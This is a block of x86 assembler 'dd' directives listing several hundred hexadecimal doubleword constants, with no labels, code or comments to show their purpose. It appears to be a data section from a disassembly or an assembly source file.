dd 587E1FF5h, 4B59744Bh, 5C4FF4D1h, 645D550Bh, 0A07589h
dd 1F4E3237h, 1C0CB6A4h, 0D63E367Ch, 0E5773F21h, 0FABD38E6h
dd 58C8B62Dh, 13EEE65Ah, 3DEF661h, 0CFFEA6DBh, 0C0CBEFE8h
dd 8F6C1B7h, 0F85A2528h, 0DF20787Ah, 9EF8B7F5h, 26B35300h
dd 0F6DCF380h, 0D5E91BDBh, 9C58317Ch, 97202078h, 413AE059h
dd 0EA6257D2h, 0BA301DCDh, 0DDB79FAh, 1E9834Dh, 738B39FEh
dd 7743E14Ch, 20F0B502h, 0CB2925h, 0B030CFC3h, 7D7C3D58h
dd 43B0A2A6h, 57D7352Dh, 42380696h, 5DC9424Fh, 8CA4528Bh
dd 72DFE453h, 0B9D2B5Dh, 8E7D59EEh, 6FE6C027h, 0B8612D35h
dd 222860D2h, 2C99345Bh, 5B35F04Ch, 0DD5683C3h, 0EF80B6B9h
dd 42B92785h, 5BB5897h, 0CDD71A9h, 816AC089h, 6917E9E2h
dd 4FFE18DBh, 0C17C06F8h, 0B47B31CCh, 22DB7001h, 35F66E40h
dd 0F8C368DFh, 710920CEh, 0AE539D5Fh, 0F92B2009h, 0D6FC6953h
dd 0A8612358h, 95357D97h, 3C4C18FBh, 15F7FA34h, 0BAAFE92Fh
dd 892AFA4Ah, 9B2FA44Ch, 382DFF20h, 829D459Ah, 0F4C12C5Fh
dd 0A25A677Ch, 68CAE342h, 0D4C64269h, 5C76D8C1h, 1913A8FEh
dd 6BB3B1Dh, 2CAAD190h, 68E93FBCh, 0AA0B888Ch, 57C000D8h
dd 9556D108h, 0D0AD8B61h, 0E2B5A92Eh, 82CCF79Dh, 2ADE58B5h
dd 208EA8ADh, 14F42B9Dh, 0BB156062h, 5D026069h, 5DED48C1h
dd 3D0FF502h, 68FD62D4h, 0F901C33Ah, 581DABD8h, 0B9168C40h
dd 812234FCh, 89987E6Ch, 9B10F853h, 8BAAF597h, 0A13AC4h
dd 565702F9h, 94085AE9h, 64798E9h, 8A0ECF81h, 0DF55EE3Ah
dd 0C9FFBE0Eh, 0C701D5FDh, 6BF1E4E9h, 0FBED8FDDh, 0F0DAB24h
dd 7730459Eh, 7E586349h, 658FBE04h, 0D1FF3ABDh, 6DD5627Dh
dd 0CA46187Bh, 1CE810Dh, 5CF55B84h, 66520C68h, 0DF4815BBh
dd 7F24C08h, 6C3C653Bh, 0D68BABE2h, 0A4C98140h, 40303542h
dd 885A31F7h, 0E6CD8ACEh, 0E928DA58h, 0BD73E8FDh, 0D876176Ch
dd 0E8315E4Fh, 9B2C8AD7h, 0A5552DDCh, 22A1420Eh, 7D0EB882h
dd 4B495678h, 3EBDA879h, 4C30CF7Ch, 0D700C31h, 84114A0Eh
dd 11F0875Dh, 40788514h, 863DD6FEh, 0AA180960h, 0EE0F026Eh
dd 0E61090EAh, 5EF29004h, 3E27F242h, 0F8F8ACFDh, 13B18808h
dd 0BB52C159h, 0F716DE6h, 46343531h, 0EC252C1Eh, 0C8014A0Bh
dd 0D56FF759h, 0CF31C10Bh, 863810E9h, 77CE6809h, 4CE67466h
dd 361E2A26h, 0E25E03A0h, 2E01D0E0h, 0A5C4E10h, 4181B93Ch
dd 20A04BF4h, 630BEEC5h, 8440150Ch, 57AFFE33h, 0C6F961F7h
dd 50BEFC02h, 8912C6B9h, 3280C8E0h, 1F0694EDh, 7A26A2FFh
dd 0DADFA8C9h, 14A030B0h, 42C7B901h, 9D465B4Fh, 310E5AB7h
dd 3FED3E01h, 322B8C4Fh, 0FC7BFE7h, 29B40EC2h, 10E1526Bh
dd 0C8F57CBAh, 12923FF7h, 7928AED4h, 0B45D5BE8h, 0D34B221Bh
dd 0BC92D025h, 9D95750h, 4DB0F749h, 98971551h, 135F7D3h
dd 0D052131h, 82DECECAh, 0A823E046h, 73D8601Bh, 0A5C25C41h
dd 0AAAD6017h, 9554DC31h, 506A4249h, 527F9BD5h, 0AF2716CAh
dd 0E294B466h, 0F812471Ch, 0DA84DEC3h, 82A7686h, 57273616h
dd 299EAF81h, 0D3D9D639h, 0B8E91BBFh, 0A7EA8442h, 0D1EF92E7h
dd 2D3666Ah, 0BD0EF4B9h, 0EE408325h, 4854F368h, 0C29D3CC5h
dd 69B72CDh, 0E162BF2h, 400B0C72h, 843244DAh, 2D2BFC8h
dd 2BCF8F09h, 628B723Eh, 0F61A10EFh, 0CC686600h, 0D7E4BF0Ch
dd 6E7A5E27h, 96C9824h, 1BB0763Bh, 9A12ABDEh, 8F80BA85h
dd 1FC4BB53h, 494FFE33h, 2121543Bh, 7AE12983h, 0A6473C0Ch
dd 8B2D055Dh, 0BE7C4330h, 0CA1C681h, 0EE94306Dh, 21073413h
dd 0CC4E753Bh, 68005223h, 4F5D5567h, 0DDC2835Ah, 88DE187Ch
dd 0E239C059h, 4CD7C805h, 177B20D4h, 0BCF56BE9h, 119EC40Ah
dd 5C27C8ECh, 0E380EEF9h, 680D4258h, 60644B43h, 0DE1F5BE0h
dd 2B9F4955h, 0E9083801h, 313F66A6h, 11E3236h, 882FF229h
dd 0AFBC3954h, 9F65562Dh, 92BA9816h, 59C5AD5h, 0F3457A0Ch
dd 213509EEh, 1C0B5E9Ch, 0B3D1F2DCh, 3BB6034h, 0FEF3F5FFh
dd 0B2E1DE31h, 0BEE33B50h, 0AF80CE25h, 496742BAh, 0D888786Eh
dd 3B98BB8Ah, 0ED0287B6h, 4F1160FDh, 0AF3EA75h, 82C96F08h
dd 571CDBC5h, 342CF099h, 0EE3CC139h, 0C0D01607h, 0C4D19822h
dd 41A748A3h, 0F6813403h, 61B2606Ch, 0C87F4DE2h, 7344F74Fh
dd 0F35A4FFBh, 0C2B35B3Eh, 0C401E84Fh, 0A8ADEF49h, 12D65510h
dd 0CEAAD821h, 8AC85BD3h, 57E9800Ah, 8854D44Ah, 0B71E34DAh
dd 17D698AFh, 7251A6A9h, 2482F3E2h, 41B5FF3h, 81E66211h
dd 1740B7h, 0B859CD29h, 43B288ECh, 71C2354Bh, 0FE0B810Ch
dd 96D62016h, 0CA858582h, 39801FB0h, 0C3962FEBh, 0E616AA48h
dd 20A470A8h, 5A36879h, 508FAD91h, 251D4453h, 552C88E2h
dd 22690B51h, 0E1A01E79h, 0B51DDB54h, 2D47F858h, 5597636h
dd 0EEF502E9h, 0CA2F0E39h, 0B9F4D49h, 0C699FCE9h, 91D17AABh
dd 53280E0Eh, 19AE7F4Bh, 4808DD69h, 0A25B170Bh, 67F00B72h
dd 8CEA8299h, 0B3FF09CFh, 2BE7B86Ch, 58E23710h, 0B015E70Eh
dd 0FD09DA31h, 0DC6E5F61h, 47701A75h, 0A0B09F6h, 19643653h
dd 0A801339Eh, 2951071Ch, 2C2A1568h, 4B83980Ah, 892BB4B6h
dd 0CFD0D054h, 0DFF6E21Eh, 590FB189h, 92889C68h, 0E9A521D7h
dd 28913CB4h, 0A570824Eh
dd 58E7DE9Fh, 0B0055052h, 58C288A2h, 0E9A8FE01h, 0D82B4FF9h
dd 4B692E3Eh, 0C4F2C891h, 9578264h, 45CA01B0h, 804006D5h
dd 267212F6h, 0EB4653h, 49284384h, 0F969D7E9h, 964CFFCAh
dd 7B4AF17Eh, 0F6C2D9D2h, 0CD32044Dh, 25208135h, 0F6902EE2h
dd 0DDD328AFh, 26DC65AAh, 0BF56E958h, 73D45F89h, 25A278C9h
dd 8DEE878Bh, 0EB5EA4F6h, 40E09FE4h, 217F34F6h, 1E7B7E72h
dd 0DEE88629h, 59019783h, 0CFD2972Bh, 52F47C6Eh, 6829B0F7h
dd 0F23F5A5Ch, 0C6809352h, 5C6A02F2h, 750A393Dh, 1ADB1A2Ch
dd 225F9562h, 775D7025h, 9CB7A19Ch, 0DFC327D8h, 800BA7D2h
dd 0F819417Dh, 0AC48204Bh, 304BB70Fh, 0E20E29F9h, 309E5F88h
dd 42A69D80h, 8CDFD99Dh, 0C5F9E1ECh, 9F2E222Ch, 0EB2F8820h
dd 4B32653Bh, 5BBA16DDh, 0BD178213h, 5048B040h, 2A59BCC1h
dd 1A60042Eh, 12E34AE9h, 7F9A8CBFh, 8824FC92h, 5B1232C6h
dd 8C947897h, 0F3F7A3F8h, 8D02BECDh, 0EE5F14CFh, 0A8E8430Bh
dd 60CF9D4h, 0D6E9FD01h, 5A039794h, 8158C616h, 0BF26D1F5h
dd 0ED8D807Fh, 0DC0527F0h, 0A9E4E97Dh, 0F0025588h, 659160CBh
dd 0A6542EC7h, 0F5F1465Fh, 3D404830h, 1ECE3025h, 0CF01CE18h
dd 0FE83A8AEh, 0B8DC51E9h, 84D2B5AEh, 0C38855BFh, 351A0593h
dd 1D10B02Ah, 1BC0745Fh, 2767F8E2h, 365C25A8h, 119C6202h
dd 7B7831h, 0F94C42F2h, 5AD72926h, 3C5F87F4h, 47E10DA8h
dd 0B25B03CEh, 0A690D5DAh, 0D73D4F50h, 0D4269660h, 17AD9821h
dd 49A09AA7h, 207A37BDh, 79273F7Eh, 0C174D167h, 2C6B7268h
dd 56BCD393h, 376D3286h, 529BCD0Bh, 7A0483CFh, 0A2AF84FFh
dd 0E09DC5B9h, 0BDE32CEBh, 1E51BB02h, 0E942E938h, 1D2E665Ch
dd 55BA0720h, 5038B46h, 2DE82F8Ch, 0E9376FE7h, 0F3D06D7Eh
dd 76832712h, 45C602EFh, 2969C754h, 0B1A08DE0h, 132CBD80h
dd 0C51C8267h, 14EE0162h, 2B12E54Ch, 81A3094h, 18170C1Ch
dd 13B1230h, 6CA7043Ch, 0CC28BA51h, 0B3E5713h, 0F3F6DF18h
dd 530E13E5h, 0D7D139DCh, 0A08261EDh, 0E4847B6Eh, 0BE41F0BDh
dd 7612B02h, 0C1F78947h, 2E66ECBEh, 631F6018h, 91B71841h
dd 41CE0144h, 80023071h, 1D28F587h, 0C98EDE68h, 4C648AE9h
dd 0E9CFFE04h, 72AB61C0h, 0F3605C02h, 14B1985h, 7225BEB3h
dd 0E7FF5A89h, 48462871h, 57CF018Ah, 1306F324h, 0B9AA0BEEh
dd 37F3DA8h, 718A05C5h, 7FFF8EE9h, 84CEC2Ah, 0FE9222Ah
dd 1DDA5A68h, 0AB18B245h, 1B78EF54h, 0F175B381h, 0CADB522h
dd 248B15D5h, 8D3A1342h, 0B8C68124h, 4AC2139Ah, 0B5D3F770h
dd 77FF9B68h, 62835495h, 51DD478Fh, 0A91AA5D0h, 0AA2E16D5h
dd 171C55BAh, 859E56B5h, 0F254555Ch, 29E9828Bh, 6F71D4A4h
dd 0B78342Bh, 0E20B71BDh, 0BE02CC2Ah, 0F73D8902h, 0D195ED46h
dd 8BB2C38h, 0BB0280B5h, 5C375494h, 5D1A8066h, 5BD929BCh
dd 0B38D295h, 43DA3A30h, 0A00B7E71h, 19651420h, 0C163ED68h
dd 4AA72CC5h, 0A81027B6h, 0E58A6E1Dh, 0CDFAFD54h, 0FC54EEDCh
dd 0D75B2D3Eh, 7892733Eh, 0DB4D1212h, 4FA3480Dh, 1672CA6Eh
dd 95379D22h, 0AE50C785h, 921159DBh, 62A35A00h, 37E93A4Ah
dd 14D77F94h, 2E2D4902h, 2CAE529Dh, 0C5B55F1Ch, 0E5688524h
dd 989AEE22h, 8D08ED5Fh, 0D02F9D71h, 6036BA6Ch, 9E84D84Eh
dd 4A27B6C2h, 19D355C5h, 17CB2A08h, 327D0D30h, 410DA406h
dd 5100F910h, 1B6342B9h, 0CA7D0947h, 1D524E5Dh, 0D3D7F231h
dd 96E85053h, 8EA3A8B5h, 16198FBAh, 0E24917ACh, 1254481Bh
dd 0E1EC03ABh, 0B02DF7E9h, 73F789E5h, 0D3880E87h, 2A60FB52h
dd 2DC5805Ah, 76A22894h, 1F5C5359h, 4A7CF4FAh, 0AC9A2549h
dd 896B4575h, 0ADA2B4A8h, 64415DEAh, 0EE03C29Ch, 0DFB58272h
dd 6693D60h, 89E93FE1h, 5645A79Fh, 0FC49DBCAh, 3B67C2D0h
dd 0E2447D29h, 16D84230h, 15645BFh, 5FB955F6h, 2F0F9722h
dd 86B4C016h, 0DF4F16B0h, 9F99EB33h, 2F590C03h, 0B718E4E0h
dd 39F63EB6h, 58D9A3D0h, 0B8F20289h, 0F8BF97EFh, 937720B9h
dd 0AC31B903h, 0DF29AE8Bh, 5DC9A7C2h, 0B719F14h, 9AF617C0h
dd 0C252AC22h, 3247BC0Ch, 0F587A760h, 39EB23C0h, 7C416B2Eh
dd 9E75E5Fh, 4D7F528Ah, 0E952849Bh, 0E909FA6Bh, 0D2C5FF51h
dd 0D9B5A720h, 20CB0256h, 65C21C5Bh, 2F586EE1h, 36ECD2C9h
dd 8494BF41h, 0C8F7802Dh, 12EDCF47h, 0FB686A5Dh, 98D65C1Fh
dd 759295C7h, 5B3BFC43h, 27A87A00h, 0DDE93456h, 31899B4h
dd 5A5B1F4Bh, 0D6D07BDAh, 9C48003h, 0B003E4C0h, 5A289EF4h
dd 0CF18D1E3h, 7EE33BF9h, 65546803h, 0B4F12D8Eh, 0B58703B1h
dd 56E87DE1h, 595E1D51h, 54AC6857h, 638386EAh, 1EE06C6h
dd 5F19ACECh, 10A89080h, 290518C1h, 0BBEB12F3h, 648B5C18h
dd 0F43240Ch, 0B85071DBh, 774A1080h, 63A1235h, 18874ACDh
dd 9F09F335h, 13265F1h, 0AB3F33C6h, 0EC042044h, 0FCC8E52Eh
dd 0F4E6B009h, 0F1AF92FCh, 0F4FBE956h, 0C59DCA3Bh, 98B508FFh
dd 0CDBF5A16h, 0EA45CE2h, 93C242A0h, 0DC1FE817h, 4A566B15h
dd 25245EC5h, 1610FF1Dh, 5A3CAD24h, 0ADF8517Fh, 9B5A82D8h
dd 143D70E1h, 5A53F3D2h, 444F7EFCh, 0A3D119Ch, 68055C58h
dd 0D92394h, 8BE922C2h, 6FBEF7A1h, 5D5F6499h, 24D1DD49h
dd 0C501EDEDh, 0FFD54E91h, 5A0EB23Ah, 9ABE6C84h, 3EF0261h
dd 96C4E5Fh, 134B7484h, 3435C8AAh, 301730B2h, 71A05AD0h
dd 8502B209h, 0F4933E8Eh, 4534AF0Dh, 557DF4AEh, 7F064295h
dd 7952B0F1h, 64D7E928h, 0C7CB25D1h, 0DFE9A9D4h, 68125016h
dd 72E34251h, 0F189A42Dh, 178DBE57h, 400B25E9h, 726C75Ah
dd 0B0C040BFh, 223D2C75h, 0FAF74F29h, 38A65256h, 6D015D1Ch
dd 74CA15F1h, 0FCD4C22Dh, 0BB5350BAh, 460C060Ah, 3500D764h
dd 2D31D156h, 48E5F266h, 0E4205D6Ah, 221EBD75h, 4F920EB9h
dd 4FD44BBh, 0F5921E19h, 7288C5B0h, 0D5E0A2CAh, 5276580Bh
dd 7338F289h, 0B1324968h, 2527C872h, 23148AEh, 0DB930905h
dd 0BA80FBF2h, 7061196h, 0E9EC495Ah, 0AFE15EDDh, 0BB5A0CE0h
dd 5BF4B5Ah, 0ADFB12A6h, 2F080596h, 0B501653Fh, 9AC0D0FAh
dd 0D93A9925h, 0C8E9B0h, 9DDA8952h, 0FE01878Bh, 0FE34CEF1h
dd 0DCE1FE80h, 64A7A54h, 8E632CECh, 85AA7FA1h, 2F24995Ch
dd 34E4C08h, 6607B353h, 0F6DC88D0h, 0E378D474h, 0EB805802h
dd 4A32E9D2h, 2A69D75Dh, 0E8C53B88h, 0FB4DC4AAh, 0BF0105DFh
dd 36572D54h, 5DDBFC56h, 54FB1A9Fh, 0C50717D0h, 30D89164h
dd 0AEA73F37h, 0A3CC0138h, 0AC2050A6h, 56055F78h, 1A1BE6ADh
dd 425AC638h, 0F330F772h, 549502C2h, 0DA57723Eh, 411865E0h
dd 9E52EB5Eh, 5A7E55B9h, 801FC7C5h, 2859CA30h, 9620D07Bh
dd 0F2FEA41Bh, 0EF189516h, 0E6970E68h, 0C69998Bh, 0F3D951CCh
dd 757A5A7Ah, 1292C430h, 254FABBAh, 0DDD450E5h, 58BE01BFh
dd 0F9016E0Eh, 4021293Fh, 186C829Dh, 567448h, 2DE0D108h
dd 3946E7Eh, 5CAE0D53h, 1E3E23DEh, 0A5318004h, 0C6899CEFh
dd 4F0CBD58h, 0A176246h, 71BC43E7h, 3558B2D8h, 0FD2DBAE2h
dd 12697EECh, 0DD0DB153h, 8F73F833h, 0B54C70F9h, 5E16E794h
dd 0C4FF64FBh, 9251917Fh, 2D153D1Ch, 93DE20D2h, 90E843D0h
dd 41FBB03Ch, 0D29D42D4h, 68957AD8h, 92B8F137h, 5F8F1703h
dd 500AEF6Bh, 4B28072Dh, 220654Bh, 0B449CD68h, 0B05F64F1h
dd 0E51C80A5h, 56EFC085h
dd 799B3E4Fh, 31B09308h, 524B0E54h, 5A296528h, 0B102E84Fh
dd 10F34568h, 48C126DDh, 6CFE0016h, 89BE4183h, 0F6E32CDCh
dd 4FFA0B6Ah, 2FFFEE91h, 0F2870707h, 308D656h, 6E28CA81h
dd 0E9E8360Eh, 46953348h, 0C944BF0Ah, 4BC51625h, 0B2EFD32Eh
dd 2810DFAFh, 0EA00127Ah, 0C2054075h, 9F52C61Ch, 0E0669A0Eh
dd 35020703h, 0F0BF1FA7h, 537BC029h, 0D27D82C9h, 0C489306Ch
dd 1EB7C267h, 0C327E30h, 7C3118F3h, 58F2044Dh, 0E5935265h
dd 348B3E01h, 2978325Fh, 8A5A5E0Ch, 22C239C0h, 9E111628h
dd 404F9F02h, 5FD9F77Ch, 36FE2C0h, 0D552519Ah, 0E5C1C7CEh
dd 0D3C4566h, 4E5855F6h, 669B2038h, 29A9F8EBh, 0C6E9CD17h
dd 18B9447h, 3E1EE73h, 39C9C1DFh, 0BBDB7090h, 87A1ACF4h
dd 641F5B0Ch, 0A2BAE684h, 42B7763Eh, 0BF8F450Bh, 0A9E16113h
dd 0F713D626h, 277684EDh, 17140B1h, 9CD0E5EFh, 523047AFh
dd 0D3A07EB2h, 0F68665Ah, 3C46634Eh, 408A4AB6h, 0BD0455BAh
dd 53ED75B4h, 297BA4BFh, 704A15EEh, 2D025607h, 86F8160Eh
dd 0AD39BEE4h, 0ED4D8C2Ah, 0FA32B20Ch, 71230C62h, 1351245h
dd 8E810FDh, 1441784Ch, 0C8F1CACh, 0DA6F6BD6h, 6BB002F4h
dd 571D2990h, 0A1643768h, 30A8E193h, 4228EA4Eh, 74E5B754h
dd 196D6884h, 0EAA430ABh, 70B5E705h, 0FA1A0914h, 0A0F7B618h
dd 0BBFEB21h, 24EF98A6h, 416ED75Ch, 218201C6h, 8C9D2D1h
dd 6EEDD943h, 0F6EE3349h, 9F6BA8A6h, 0A301B24Ah, 0FEA03DCDh
dd 8621DC0h, 8C59292Fh, 0BFC33BEBh, 7E04FA4Bh, 2D744898h
dd 5357B880h, 0EAC45068h, 435B3012h, 0E400122h, 52B0C8A3h
dd 377D1427h, 1E1C4BFh, 0F1A77C3Bh, 7D5BDF89h, 20409CE7h
dd 62E94C12h, 0F966B5E3h, 0E1B4709Dh, 65F58030h, 0BC5F06A9h
dd 4A2C7E12h, 88605856h, 0EA548AD3h, 0C25CEC05h, 53595B08h
dd 0F6A44640h, 2627D25Ch, 0E217D8B4h, 8FB32507h, 0A3415709h
dd 0E3B57252h, 0F4775E1Eh, 4D2A6829h, 0B32E441Ah, 530B6413h
dd 7F5C10h, 3074287Fh, 1C09F381h, 0D4EE0DEAh, 0FB010187h
dd 59A11E9h, 0F3CA3281h, 0B024302Bh, 0BAF968B3h, 0AFA51C75h
dd 23B3D525h, 685A0F04h, 1DA62623h, 176344Ah, 7236D8F7h
dd 54E3610Ah, 5A5A81Ah, 5A4E20FEh, 0D16AE2AAh, 0FE244E0Fh
dd 0B2E9F1C0h, 246D2FDh, 0C83110D4h, 9DFC3E77h, 4D6DBBF6h
dd 6FB0B06Ah, 294A1606h, 0B70B73B9h, 0EE021774h, 61F608E5h
dd 1A30CE72h, 0DC141FABh, 4EF58168h, 29692A1Ch, 87F32505h
dd 0D3DF59FCh, 1B42281Eh, 5310507h, 0BAB941BCh, 8ECA1035h
dd 0E996F262h, 8C4E82D3h, 27B8F7A7h, 350038BFh, 0E7817197h
dd 800F4F9Eh, 62C72F7h, 0CF011D58h, 7FE82FADh, 0BB491882h
dd 957C6F3h, 51A9778Bh, 86FAE65Eh, 4BBE0608h, 13B5F85Ah
dd 2ACC348Ah, 0E86D5BE9h, 443C5AD9h, 0BC6BEDEDh, 4AA18620h
dd 0F988271Ah, 3CDED430h, 95A6CEB7h, 685103B0h, 9D798531h
dd 65A656A6h, 2302520h, 8080AEFAh, 0A382C1EFh, 0D12CF828h
dd 0F5EC2F5Bh, 501D4AD4h, 81CA3954h, 0C9DFF7EEh, 0CD0320D7h
dd 4AC76700h, 4569FE25h, 66E92719h, 875E8101h, 75DD7E1Ch
dd 0C596B26Fh, 509CB53Ch, 31434060h, 0B6C7D058h, 9BD707Ah
dd 0D5E915FEh, 347BC4E2h, 25A1D213h, 0DFE68C7Bh, 30B55758h
dd 0E6815F49h, 61271223h, 60C6F82Ch, 9C45CB12h, 0B46906Ch
dd 19AD6F82h, 1048FC01h, 44F12093h, 0FE537369h, 97698736h
dd 403AD51Dh, 58E588BFh, 0EC39EE80h, 3D2CFD28h, 39882745h
dd 34F56B01h, 21E91891h, 72BF0AC6h, 5ADA081Fh, 5A04E7C9h
dd 2C500BA9h, 0BB04549Eh, 5143162Ah, 178E67AFh, 0EFEE6442h
dd 8201EF29h, 4355CCB1h, 0FAEC1E84h, 3EFC001h, 2139F780h
dd 0C9282B0Ah, 14B25C2Ch, 961A4010h, 625A5698h, 2B72ED9Ch
dd 0E97026F4h, 68A148F2h, 36245ECFh, 0BF690FDh, 694ED57Ah
dd 57B7F9D2h, 0CAB0B343h, 7C2F27F6h, 202560Bh, 0A71194A1h
dd 0F808877Ch, 772D0756h, 2389C96Bh, 4FD4B09h, 12E17BEDh
dd 2838CF6Fh, 2050E75Ch, 0CC130C7h, 6BD514FAh, 6B8A56Fh
dd 14800C08h, 0B1BE55E9h, 0E10EF920h, 0A0C9FEA6h, 0CE88E3F1h
dd 6D8220E9h, 10B3D581h, 2F4F2568h, 0E95019EDh, 0EBAEBB2Dh
dd 745E3E7Fh, 4B20BC1Fh, 0FD684CDAh, 312F98DBh, 0FC6FF0D3h
dd 99BF4FB4h, 526830FFh, 22952BBAh, 1378724h, 4C68555Dh
dd 1570F8D4h, 4E5D989Dh, 70A692D6h, 774018EEh, 83B0C2Fh
dd 7678AB2Fh, 0D008A056h, 0E909140Ch, 1257B7AAh, 1760D77Fh
dd 0E4B42A47h, 0F27669EFh, 0F894FCh, 700E2094h, 0ABB8555Eh
dd 0C219930Bh, 6A835D72h, 450F234Fh, 9DFBBF66h, 0AB0F8024h
dd 561638A1h, 0A51625E9h, 0C9A3D2C8h, 1F64CE96h, 5D3503F8h
dd 0FE8A52F6h, 849761D3h, 4E049CA4h, 1A19B67Bh, 0B7FA9E1h
dd 0AC194190h, 80A5747Ch, 0E288D858h, 0F2390490h, 2876F64Ch
dd 0E866C227h, 823EA471h, 52172441h, 887D7587h, 0D16ACE6Dh
dd 93A66E1Bh, 0CE18B15Fh, 8528E22Eh, 70D84AB3h, 2EFD39B9h
dd 382190F2h, 32A666EEh, 48A30209h, 306021A9h, 0E83A52F4h
dd 8E19E2Eh, 43028779h, 0C9F33977h, 1C8A0C6h, 1DA89841h
dd 27B2141Ch, 4E298976h, 2227AB0Fh, 89BB5328h, 0C860B33h
dd 13F920E2h, 0D4419B20h, 0E9080378h, 0B2030363h, 0B7530AB6h
dd 0E6C3D1F0h, 2823D07Ah, 1F0E3064h, 200DD0F7h, 4832AE7Dh
dd 3B8537E9h, 6EBE62EDh, 2C21F348h, 52F96424h, 1452C603h
dd 50C777Dh, 0E94F0920h, 0B7C3D119h, 66F9E8FDh, 26CB70BDh
dd 40D281Ah, 0AB89E980h, 881CB1B3h, 42DC93CBh, 3C1F6814h
dd 173C8C79h, 8BE2535Eh, 3C55ED9Eh, 6B08B0B0h, 594B9133h
dd 248AC0C9h, 68075686h, 4C0A3CE6h, 65CFD1C2h, 1E7DADDEh
dd 0CAB8A92Bh, 0F114402Ah, 0C9382BF5h, 614B4CB0h, 5205E141h
dd 0F42E0885h, 5F3D5D2Fh, 7BBE8258h, 0F3567F5Bh, 0D9BB0BFDh
dd 9750E2DCh, 7B3EBCBDh, 0B474A4FFh, 0FFF00706h, 759489BFh
dd 657DED89h, 31202591h, 8827BF4Ch, 470293B8h, 1183C67h
dd 2E6340DDh, 200B2461h, 9FEBA85Dh, 24FC1FE9h, 0E2C05B2Ch
dd 1B1D79ABh, 5DEF2C01h, 0F7E904FCh, 6C39BA67h, 936DF82Fh
dd 6E766C04h, 6BA0E920h, 123BBB80h, 0FB62CC5Fh, 741D6482h
dd 676E2531h, 0EB8A0B91h, 50DFA5Dh, 0C8B2AF0h, 455B3C32h
dd 0CD365718h, 52990009h, 66F637BFh, 595EE9ADh, 0D328E381h
dd 68FA8FDDh, 10B2E6CEh, 3A039D1Eh, 6D1B1207h, 1C383901h
dd 16605565h, 955025CBh, 642E0F40h, 1C808E2Ch, 120CE902h
dd 0BE165701h, 1B2C8FCh, 0FEE15C5Bh, 9B99DB41h, 53D4316Ah
dd 6BE92A55h, 0F421BAF5h, 3466E32Bh, 0A197F85Fh, 0A67ED5A4h
dd 276A58B5h, 0FB5A0Fh, 75A52C91h, 1226AC25h, 0F135258h
dd 0B7230A82h, 0B4826713h, 5C64D25Eh, 3D28B45Ch, 73840908h
dd 0C76A2DAFh, 3EF7C84Ah, 8F5C209Dh, 6C5AC290h, 8EABB985h
dd 902619E1h, 0E740590Ah, 2810E13h, 8E5C170h, 35C8DDF7h
dd 0CDB289BCh, 28E4D163h, 0A6BA843Ah, 62C625CCh, 26284DD9h
dd 0FAC80877h, 5B656804h, 8C03298Dh, 0E1D4D2AEh, 4B3FF74Dh
dd 0FE54FACDh, 602CE978h, 32DA4D08h, 34B31AA4h, 0F7D25597h
dd 0F3B27FF9h, 325E3EF7h, 0FD3BD230h, 7F764A75h, 10EB21FBh
dd 3958FF0Bh, 0E99627CAh, 95EAB00Ah, 2CBC7295h, 0ADF8051Dh
dd 1202D2F6h, 0F1680663h
dd 2BBE4065h, 35144478h, 64C7EE87h, 0FBA2DE09h, 1B10FA06h
dd 99A0162Bh, 0B310BEAAh, 0C47D01C5h, 82EE2951h, 1175D403h
dd 8601B1F8h, 0F6BE71C2h, 0F6835B4Ah, 0A358EACCh, 0EE1F84B0h
dd 26B41E18h, 0A07C595h, 50A7B3B9h, 2B2C6850h, 0D2C94257h
dd 565E2738h, 722511E5h, 32E65D45h, 21936809h, 1861CED6h
dd 0DC6B010Bh, 0CC4E2B29h, 0D39A21BEh, 0E2F9AF56h, 0D3EC09CAh
dd 0E482F09h, 574FAD68h, 98870CCh, 55288B50h, 0E1BD1880h
dd 7C1C3861h, 0E985454Dh, 61AE14A8h, 2E22422Ah, 0A46A649Dh
dd 0D8583136h, 3A2B0702h, 36D235F3h, 26FA44C7h, 1BF77EC5h
dd 0F886A1Dh, 70BD0417h, 5CDF933h, 68810A47h, 322B37E3h
dd 595F5FB1h, 8471722Bh, 0A2695DA6h, 20A44E15h, 9C201CCh
dd 15E38100h, 0E9799C11h, 6FAE532Dh, 5FF7614Ah, 4DB800E0h
dd 7FCB0A5Ch, 5BEEC101h, 923360Bh, 790075C2h, 5EF22BBh
dd 9D4A94B5h, 4F0BFF5Ch, 0E3D65C5Dh, 79103B53h, 520FAA09h
dd 7F06E688h, 0BD5A1059h, 40C35188h, 115E8877h, 0AEF556A8h
dd 83305779h, 0C78080E8h, 0FE28CF1Eh, 6608A68Dh, 279BEC6Ah
dd 0E00ADB5Ch, 5EF0215Ch, 44E980A0h, 19ADBD5Bh, 8C54E68Bh
dd 17E93B2Dh, 0C0B8E945h, 6EB43509h, 3163EF0Bh, 7A9EF6C6h
dd 94D1B540h, 0DAE82EE1h, 120174A5h, 3C24ABACh, 7A99CD01h
dd 843F0386h, 506C2C6h, 0ED015DF4h, 66FB18EFh, 2274D8DBh
dd 1D1C6025h, 2A53ABC5h, 3E93305Fh, 5700CC0Bh, 783C6EBFh
dd 7FD8644Ah, 0FCE24B5Dh, 7965C444h, 0A09249ECh, 1540F0D7h
dd 6D2F09BAh, 3D813AD1h, 0C67556E5h, 1A090C54h, 6C56023Fh
dd 105DF2E4h, 257EFB9Dh, 89576839h, 0A638486Ah, 140C6975h
dd 2A9794F7h, 3BEF9AE9h, 7592C9B5h, 3368D2CFh, 525FB7F8h
dd 3EA905F8h, 0CE046756h, 0A3C247F6h, 357E6909h, 0A0BE1CC8h
dd 0C43EB4FDh, 0AB545379h, 0C1A01D45h, 0D8C458FCh, 0ED680F87h
dd 67F9315Bh, 0C3C70304h, 0B1F076Ah, 0BEC90D27h, 95BD2D1h
dd 59FA2DF6h, 0E84BC0D7h, 4753305Bh, 3EFCC611h, 0B44F5E2Eh
dd 0F230AF9Eh, 0F0DCB252h, 640BBFAAh, 68E11C71h, 9589426Ch
dd 9720C132h, 0D9863CC9h, 0A394CEF4h, 95D0F705h, 0D5CCC904h
dd 9DCE1AA8h, 0F2ED0691h, 2DC25F20h, 0B6C54423h, 6F0654ADh
dd 68721961h, 7C102B0Dh, 0E35B2C07h, 0AD91BC13h, 0C204294Bh
dd 0F31202D9h, 450BA6A7h, 0FA9984E9h, 77871737h, 0D9F70AD1h
dd 1D804A4h, 197B355Dh, 15822E09h, 278EFE8Bh, 481F96F3h
dd 64BF5EB8h, 0E96A6029h, 3EC0B88Ah, 3058E188h, 9E3BF4C8h
dd 0C2551389h, 0AC0002C2h, 0F053B204h, 9219F6CDh, 0C9810450h
dd 0BC167106h, 4AA132C3h, 0CD9AC3A2h, 5FFA8790h, 0E7D07A21h
